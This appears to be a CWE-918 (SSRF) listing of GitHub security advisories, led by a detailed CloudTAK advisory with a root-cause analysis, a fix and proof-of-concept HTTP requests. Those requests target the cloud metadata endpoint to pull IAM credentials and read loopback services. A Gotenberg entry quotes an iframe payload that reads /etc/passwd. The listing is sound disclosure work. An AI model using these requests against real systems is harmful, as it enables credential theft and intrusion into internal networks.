CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4638 vulnerabilities reference this CWE, most recent first.
GHSA-R95Q-FP26-H3HC
Vulnerability from github – Published: 2026-07-17 21:35 – Updated: 2026-07-17 21:35Authenticated full-read SSRF in CloudTAK /api/esri* routes — user-controlled URL fetched with no IP-classification guard
Summary
Every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.
Any authenticated user (the routes only require Auth.is_auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC.
This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.
The sniff() URL classifier provides no protection: it only pattern-matches the pathname (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched.
Affected versions
- All versions up to and including 13.7.0 (latest at time of report).
The project already ships an SSRF guard helper — isSafeUrl from @tak-ps/node-safeurl — and wires it into the basemap, task, and video-service code paths, but the entire /api/esri* route family and the ESRI fetch library (api/lib/esri.ts) were never wired up, leaving the guard absent on this surface.
Vulnerable code
All permalinks are pinned to commit c7433679d2107fa0258e9005069bc5b4ca5773aa (release lineage of 13.7.0).
Routes — user input → ESRI fetch, no guard (api/routes/esri.ts):
POST /api/esri— bodyurl→new URL(req.body.url)→EsriBase.from(url): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64GET /api/esri/portal— queryportal→new EsriBase(req.query.portal)→EsriProxyPortal.getPortal(): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98GET /api/esri/portal/content— queryportal→EsriProxyPortal.getContent(): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139GET /api/esri/portal/server— queryportal→EsriProxyPortal.getServers(): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212GET /api/esri/server— queryserver→EsriProxyServer.getList(): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249GET /api/esri/server/layer— querylayer→EsriProxyLayer.sample(): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356
Library — the fetch sinks (api/lib/esri.ts), all reached with the user URL and none preceded by a guard:
import { fetch } from '@tak-ps/etl';https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6EsriBase.fetchVersion()—const res = await fetch(url);https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187EsriBase.generateToken()—fetch(url, { method: 'POST', ... })https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107EsriProxyPortal.getContent/getPortal/getSelf/getServers/createService—fetchat lines 283, 301, 330, 347, 371EsriProxyServer.deleteLayer/createLayer/getList—fetchat lines 407, 433, 455EsriProxyLayer.tilejson/#sampleFeatures—fetchat lines 503, 552
sniff() only inspects the pathname (no host/IP check):
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156
The guard exists elsewhere but is missing here — for comparison, the basemap import path classifies the URL before fetching: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90
Note also that the ESRI sub-branch inside basemap.ts (isEsriLayerURL(...) → new EsriBase(...) → EsriProxyLayer.tilejson()) reaches the same unguarded ESRI library and is therefore equally affected:
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773
grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts returns 0 and 0.
Proof of concept
Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account — the routes only call Auth.is_auth(config, req, { anyResources: true })).
1. Read cloud instance metadata (credential theft)
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }
The server's EsriBase.from() calls fetchVersion() → fetch('http://169.254.169.254/...?f=json'). The path contains /rest, so sniff() classifies it as SERVER and the request proceeds. The metadata service's response body is read back to the attacker — either inside the successful JSON response, or reflected in the error string (ESRI Server Error: <upstream body fragment>). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.
2. Read an internal-only service over loopback / VPC (full-read)
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
new EsriBase('http://127.0.0.1:8500/rest') → EsriProxyServer.getList() → fetch('http://127.0.0.1:8500/rest?f=json'). The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via res.json(list).
GET /api/esri/portal?portal=http://<internal-host>/sharing/rest and GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1 give the same full-read primitive on the other sub-routes.
3. Negative control — unauthenticated is rejected
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json
{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }
Returns 403 Authentication Required (from Auth.is_auth → api/lib/auth.ts:118). The SSRF is reachable by any authenticated user but not by an anonymous one.
E2E reproduction (sink path against a controlled internal victim)
Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the same fetch import (@tak-ps/etl) and the verbatim EsriBase.sniff() + fetchVersion() logic the route uses. The harness models the route handler exactly: it new URL()s the user input, runs sniff(), then fetch()s — with isSafeUrl deliberately not called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).
Victim (victim.mjs) — an internal-only service on 127.0.0.1:9099 returning a secret JSON body:
[victim] internal service listening on 127.0.0.1:9099
[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1
Harness output (esri_ssrf_e2e.mjs), user-supplied URL http://127.0.0.1:9099/arcgis/rest:
[VULN/no-guard] route returned full internal body:
{
"type": "SERVER",
"base": "http://127.0.0.1:9099/arcgis/rest",
"upstreamBody": {
"currentVersion": "11.4",
"internal-only": true,
"aws-metadata-simulated": {
"iam": { "role": "cloudtak-prod-instance-role", "AccessKeyId": "ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE" }
},
"note": "If you can read this from a user-supplied URL, that is SSRF (full-read)."
}
}
[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1
And isSafeUrl confirms it would block the metadata / loopback targets if it were called on this path:
http://169.254.169.254/latest/meta-data/ => {"safe":false, ... "reason":"blocked IP address: 169.254.169.254"}
http://127.0.0.1:9999/ => {"safe":false, ... "reason":"blocked IP address: 127.0.0.1"}
http://localhost/ => {"safe":false, ... "reason":"blocked hostname: localhost"}
So: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style isSafeUrl guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route's fetch path.)
Root cause
Two compounding gaps:
-
No IP/DNS classification before fetch.
api/lib/esri.tsimports the unguardedfetchfrom@tak-ps/etland calls it with a URL derived directly from user input in everyEsriProxy*method and inEsriBase.fetchVersion()/generateToken(). Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on@tak-ps/node-safeurl(isSafeUrl) precisely for this, and uses it inapi/routes/basemap.ts,api/routes/task.ts, andapi/lib/control/video-service.ts— but the guard was never added to the ESRI route family or to the ESRI library. This is an incomplete migration: the SafeURL hardening (PR #1468) covered basemap/task/video but left/api/esri*andapi/lib/esri.ts(including the ESRI sub-branch of basemap import) unprotected. -
sniff()validates the wrong thing. The only inspection the URL receives before being fetched isEsriBase.sniff(), which pattern-matches the pathname for/rest,/arcgis/rest, or/sharing/rest. It never looks at the host, so an attacker simply appends/rest(or/arcgis/rest) to an internal URL and it is accepted and fetched.
Impact
- CWE-918 Server-Side Request Forgery, full-read.
- Cloud credential theft: reading
http://169.254.169.254/latest/meta-data/iam/security-credentials/...(IMDSv1) yields the instance role's temporary AWS credentials, which an attacker can use against the deployment's cloud account. - Internal network enumeration and data exfiltration: any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.
- Privilege required: any authenticated user with any token (
anyResources: true) — not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.
Fix
Centralize the existing isSafeUrl guard inside the ESRI library so every /api/esri* route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in basemap.ts:
- Add an async URL-classification step that runs
isSafeUrl(...)and throwsBlocked URL: <reason>for any URL that resolves to a private/loopback/link-local address, before the firstfetchinEsriBase(e.g. inEsriBase.from()and a guarded constructor/init path, so bothnew EsriBase(...)+ later proxy calls andEsriBase.from(...)are covered). - Preserve the existing
process.env.StackName !== 'test'test-mode skip used elsewhere so the test suite is unaffected.
Because all six routes funnel through EsriBase / the EsriProxy* classes in api/lib/esri.ts, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.
Disclosure
- Reported by tonghuaroot.
- Credit: tonghuaroot only.
Reference fix PR (private advisory fork): https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 — commit ff6dd1d9, centralizing isSafeUrl inside api/lib/esri.ts (safeFetch wrapper + EsriBase.assertSafe).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tak-ps/cloudtak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55177"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T21:35:10Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Authenticated full-read SSRF in CloudTAK `/api/esri*` routes \u2014 user-controlled URL fetched with no IP-classification guard\n\n## Summary\n\nEvery route in the ESRI helper family (`api/routes/esri.ts`) takes a fully attacker-controlled URL from the request (`POST /api/esri` body `url`, and the `portal` / `server` / `layer` query parameters on the `GET /api/esri/*` routes) and passes it into `EsriBase` / `EsriProxyPortal` / `EsriProxyServer` / `EsriProxyLayer` in `api/lib/esri.ts`, which fetch it with the bare `fetch` from `@tak-ps/etl`. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.\n\nAny authenticated user (the routes only require `Auth.is_auth(config, req, { anyResources: true })`, i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (`169.254.169.254`), loopback admin ports (`127.0.0.1:\u003cport\u003e`), and other hosts reachable only from inside the deployment VPC.\n\nThis is a **full-read** SSRF, not blind: on success the upstream JSON body is returned to the caller via `res.json(...)`, and on failure the upstream error string is reflected verbatim as `ESRI Server Error: \u003cmessage\u003e`. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.\n\nThe `sniff()` URL classifier provides no protection: it only pattern-matches the *pathname* (`/rest`, `/arcgis/rest`, `/sharing/rest`), so a URL like `http://169.254.169.254/arcgis/rest` or `http://127.0.0.1:8500/rest` passes `sniff()` and is fetched.\n\n## Affected versions\n\n* All versions up to and including **13.7.0** (latest at time of report).\n\nThe project already ships an SSRF guard helper \u2014 `isSafeUrl` from `@tak-ps/node-safeurl` \u2014 and wires it into the basemap, task, and video-service code paths, but the entire `/api/esri*` route family and the ESRI fetch library (`api/lib/esri.ts`) were never wired up, leaving the guard absent on this surface.\n\n## Vulnerable code\n\nAll permalinks are pinned to commit `c7433679d2107fa0258e9005069bc5b4ca5773aa` (release lineage of 13.7.0).\n\n**Routes \u2014 user input \u2192 ESRI fetch, no guard** (`api/routes/esri.ts`):\n\n* `POST /api/esri` \u2014 body `url` \u2192 `new URL(req.body.url)` \u2192 `EsriBase.from(url)`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64\n* `GET /api/esri/portal` \u2014 query `portal` \u2192 `new EsriBase(req.query.portal)` \u2192 `EsriProxyPortal.getPortal()`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98\n* `GET /api/esri/portal/content` \u2014 query `portal` \u2192 `EsriProxyPortal.getContent()`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139\n* `GET /api/esri/portal/server` \u2014 query `portal` \u2192 `EsriProxyPortal.getServers()`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212\n* `GET /api/esri/server` \u2014 query `server` \u2192 `EsriProxyServer.getList()`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249\n* `GET /api/esri/server/layer` \u2014 query `layer` \u2192 `EsriProxyLayer.sample()`:\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356\n\n**Library \u2014 the `fetch` sinks** (`api/lib/esri.ts`), all reached with the user URL and none preceded by a guard:\n\n* `import { fetch } from \u0027@tak-ps/etl\u0027;`\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6\n* `EsriBase.fetchVersion()` \u2014 `const res = await fetch(url);`\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187\n* `EsriBase.generateToken()` \u2014 `fetch(url, { method: \u0027POST\u0027, ... })`\n https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107\n* `EsriProxyPortal.getContent` / `getPortal` / `getSelf` / `getServers` / `createService` \u2014 `fetch` at lines 283, 301, 330, 347, 371\n* `EsriProxyServer.deleteLayer` / `createLayer` / `getList` \u2014 `fetch` at lines 407, 433, 455\n* `EsriProxyLayer.tilejson` / `#sampleFeatures` \u2014 `fetch` at lines 503, 552\n\n**`sniff()` only inspects the pathname** (no host/IP check):\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156\n\n**The guard exists elsewhere but is missing here** \u2014 for comparison, the basemap import path classifies the URL before fetching:\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90\n\nNote also that the ESRI sub-branch inside `basemap.ts` (`isEsriLayerURL(...)` \u2192 `new EsriBase(...)` \u2192 `EsriProxyLayer.tilejson()`) reaches the same unguarded ESRI library and is therefore equally affected:\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773\n\n`grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts` returns `0` and `0`.\n\n## Proof of concept\n\nPrerequisites: a running CloudTAK instance and a valid user token (any non-admin user account \u2014 the routes only call `Auth.is_auth(config, req, { anyResources: true })`).\n\n### 1. Read cloud instance metadata (credential theft)\n\n```http\nPOST /api/esri HTTP/1.1\nHost: cloudtak.example.org\nAuthorization: Bearer \u003cany-valid-user-token\u003e\nContent-Type: application/json\n\n{ \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest\" }\n```\n\nThe server\u0027s `EsriBase.from()` calls `fetchVersion()` \u2192 `fetch(\u0027http://169.254.169.254/...?f=json\u0027)`. The path contains `/rest`, so `sniff()` classifies it as `SERVER` and the request proceeds. The metadata service\u0027s response body is read back to the attacker \u2014 either inside the successful JSON response, or reflected in the error string (`ESRI Server Error: \u003cupstream body fragment\u003e`). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.\n\n### 2. Read an internal-only service over loopback / VPC (full-read)\n\n```http\nGET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1\nHost: cloudtak.example.org\nAuthorization: Bearer \u003cany-valid-user-token\u003e\n```\n\n`new EsriBase(\u0027http://127.0.0.1:8500/rest\u0027)` \u2192 `EsriProxyServer.getList()` \u2192 `fetch(\u0027http://127.0.0.1:8500/rest?f=json\u0027)`. The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via `res.json(list)`.\n\n`GET /api/esri/portal?portal=http://\u003cinternal-host\u003e/sharing/rest` and `GET /api/esri/server/layer?layer=http://\u003cinternal-host\u003e/rest/.../FeatureServer/0\u0026query=1=1` give the same full-read primitive on the other sub-routes.\n\n### 3. Negative control \u2014 unauthenticated is rejected\n\n```http\nPOST /api/esri HTTP/1.1\nHost: cloudtak.example.org\nContent-Type: application/json\n\n{ \"url\": \"http://169.254.169.254/latest/meta-data/arcgis/rest\" }\n```\n\nReturns `403 Authentication Required` (from `Auth.is_auth` \u2192 `api/lib/auth.ts:118`). The SSRF is reachable by any authenticated user but not by an anonymous one.\n\n### E2E reproduction (sink path against a controlled internal victim)\n\nBecause exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the **same `fetch` import (`@tak-ps/etl`) and the verbatim `EsriBase.sniff()` + `fetchVersion()` logic** the route uses. The harness models the route handler exactly: it `new URL()`s the user input, runs `sniff()`, then `fetch()`s \u2014 with `isSafeUrl` deliberately *not* called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).\n\nVictim (`victim.mjs`) \u2014 an internal-only service on `127.0.0.1:9099` returning a secret JSON body:\n\n```\n[victim] internal service listening on 127.0.0.1:9099\n[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1\n```\n\nHarness output (`esri_ssrf_e2e.mjs`), user-supplied URL `http://127.0.0.1:9099/arcgis/rest`:\n\n```\n[VULN/no-guard] route returned full internal body:\n{\n \"type\": \"SERVER\",\n \"base\": \"http://127.0.0.1:9099/arcgis/rest\",\n \"upstreamBody\": {\n \"currentVersion\": \"11.4\",\n \"internal-only\": true,\n \"aws-metadata-simulated\": {\n \"iam\": { \"role\": \"cloudtak-prod-instance-role\", \"AccessKeyId\": \"ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE\" }\n },\n \"note\": \"If you can read this from a user-supplied URL, that is SSRF (full-read).\"\n }\n}\n[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1\n```\n\nAnd `isSafeUrl` confirms it *would* block the metadata / loopback targets if it were called on this path:\n\n```\nhttp://169.254.169.254/latest/meta-data/ =\u003e {\"safe\":false, ... \"reason\":\"blocked IP address: 169.254.169.254\"}\nhttp://127.0.0.1:9999/ =\u003e {\"safe\":false, ... \"reason\":\"blocked IP address: 127.0.0.1\"}\nhttp://localhost/ =\u003e {\"safe\":false, ... \"reason\":\"blocked hostname: localhost\"}\n```\n\nSo: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style `isSafeUrl` guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route\u0027s fetch path.)\n\n## Root cause\n\nTwo compounding gaps:\n\n1. **No IP/DNS classification before fetch.** `api/lib/esri.ts` imports the unguarded `fetch` from `@tak-ps/etl` and calls it with a URL derived directly from user input in every `EsriProxy*` method and in `EsriBase.fetchVersion()` / `generateToken()`. Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on `@tak-ps/node-safeurl` (`isSafeUrl`) precisely for this, and uses it in `api/routes/basemap.ts`, `api/routes/task.ts`, and `api/lib/control/video-service.ts` \u2014 but the guard was never added to the ESRI route family or to the ESRI library. This is an **incomplete migration**: the SafeURL hardening (PR #1468) covered basemap/task/video but left `/api/esri*` and `api/lib/esri.ts` (including the ESRI sub-branch of basemap import) unprotected.\n\n2. **`sniff()` validates the wrong thing.** The only inspection the URL receives before being fetched is `EsriBase.sniff()`, which pattern-matches the *pathname* for `/rest`, `/arcgis/rest`, or `/sharing/rest`. It never looks at the host, so an attacker simply appends `/rest` (or `/arcgis/rest`) to an internal URL and it is accepted and fetched.\n\n## Impact\n\n* **CWE-918 Server-Side Request Forgery**, full-read.\n* **Cloud credential theft:** reading `http://169.254.169.254/latest/meta-data/iam/security-credentials/...` (IMDSv1) yields the instance role\u0027s temporary AWS credentials, which an attacker can use against the deployment\u0027s cloud account.\n* **Internal network enumeration and data exfiltration:** any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.\n* **Privilege required:** any authenticated user with any token (`anyResources: true`) \u2014 not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.\n\n## Fix\n\nCentralize the existing `isSafeUrl` guard inside the ESRI library so every `/api/esri*` route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in `basemap.ts`:\n\n* Add an async URL-classification step that runs `isSafeUrl(...)` and throws `Blocked URL: \u003creason\u003e` for any URL that resolves to a private/loopback/link-local address, before the first `fetch` in `EsriBase` (e.g. in `EsriBase.from()` and a guarded constructor/init path, so both `new EsriBase(...)` + later proxy calls and `EsriBase.from(...)` are covered).\n* Preserve the existing `process.env.StackName !== \u0027test\u0027` test-mode skip used elsewhere so the test suite is unaffected.\n\nBecause all six routes funnel through `EsriBase` / the `EsriProxy*` classes in `api/lib/esri.ts`, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.\n\n## Disclosure\n\n* Reported by **tonghuaroot**.\n* Credit: tonghuaroot only.\n\n---\n\n**Reference fix PR (private advisory fork):** https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 \u2014 commit `ff6dd1d9`, centralizing `isSafeUrl` inside `api/lib/esri.ts` (`safeFetch` wrapper + `EsriBase.assertSafe`).",
"id": "GHSA-r95q-fp26-h3hc",
"modified": "2026-07-17T21:35:10Z",
"published": "2026-07-17T21:35:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-r95q-fp26-h3hc"
},
{
"type": "PACKAGE",
"url": "https://github.com/dfpc-coe/CloudTAK"
},
{
"type": "WEB",
"url": "https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CloudTAK: Authenticated full-read SSRF in the /api/esri* routes \u2014 user-controlled URL fetched with no IP-classification guard"
}
GHSA-R97H-MG64-MCJR
Vulnerability from github – Published: 2022-05-24 22:01 – Updated: 2022-05-24 22:01All versions of package github.com/thecodingmachine/gotenberg are vulnerable to Server-side Request Forgery (SSRF) via the /convert/html endpoint when the src attribute of an HTML element refers to an internal system file, such as .
{
"affected": [],
"aliases": [
"CVE-2021-23345"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-26T18:15:00Z",
"severity": "MODERATE"
},
"details": "All versions of package github.com/thecodingmachine/gotenberg are vulnerable to Server-side Request Forgery (SSRF) via the /convert/html endpoint when the src attribute of an HTML element refers to an internal system file, such as \u003ciframe src=\u0027file:///etc/passwd\u0027\u003e.",
"id": "GHSA-r97h-mg64-mcjr",
"modified": "2022-05-24T22:01:28Z",
"published": "2022-05-24T22:01:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23345"
},
{
"type": "WEB",
"url": "https://github.com/thecodingmachine/gotenberg/issues/261"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMTHECODINGMACHINEGOTENBERG-1062043"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-side Request Forgery in github.com/thecodingmachine/gotenberg"
}
GHSA-R9WP-G99C-JRQ8
Vulnerability from github – Published: 2026-02-09 12:30 – Updated: 2026-02-09 12:30The Fluent Forms Pro Add On Pack plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.12 via the 'saveDataSource' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2026-0632"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-09T12:15:57Z",
"severity": "MODERATE"
},
"details": "The Fluent Forms Pro Add On Pack plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.12 via the \u0027saveDataSource\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-r9wp-g99c-jrq8",
"modified": "2026-02-09T12:30:22Z",
"published": "2026-02-09T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0632"
},
{
"type": "WEB",
"url": "https://fluentforms.com/docs/changelog"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fd3bf470-f966-454d-8df3-0dec4682e883?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R9XH-6HXC-484V
Vulnerability from github – Published: 2023-06-06 12:30 – Updated: 2023-06-06 12:30A vulnerability has been found in Dahua Smart Parking Management up to 20230528 and classified as problematic. This vulnerability affects unknown code of the file /ipms/imageConvert/image. The manipulation of the argument fileUrl leads to server-side request forgery. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-230800. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2023-3121"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T11:15:10Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in Dahua Smart Parking Management up to 20230528 and classified as problematic. This vulnerability affects unknown code of the file /ipms/imageConvert/image. The manipulation of the argument fileUrl leads to server-side request forgery. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-230800. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-r9xh-6hxc-484v",
"modified": "2023-06-06T12:30:14Z",
"published": "2023-06-06T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3121"
},
{
"type": "WEB",
"url": "https://github.com/RCEraser/cve/blob/main/DaHua..md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.230800"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.230800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RC3Q-9PXG-3JHR
Vulnerability from github – Published: 2026-07-11 15:30 – Updated: 2026-07-11 15:30PraisonAI versions before 1.6.78 contain a server-side request forgery vulnerability in the Crawl4AI/Chromium backend that allows attackers to bypass SSRF validation by exploiting DNS rebinding and HTTP redirects. Attackers can craft URLs that resolve to internal services after the initial validation check, enabling the headless browser to follow redirects and read internal responses including sensitive canary values.
{
"affected": [],
"aliases": [
"CVE-2026-61429"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-11T14:16:22Z",
"severity": "HIGH"
},
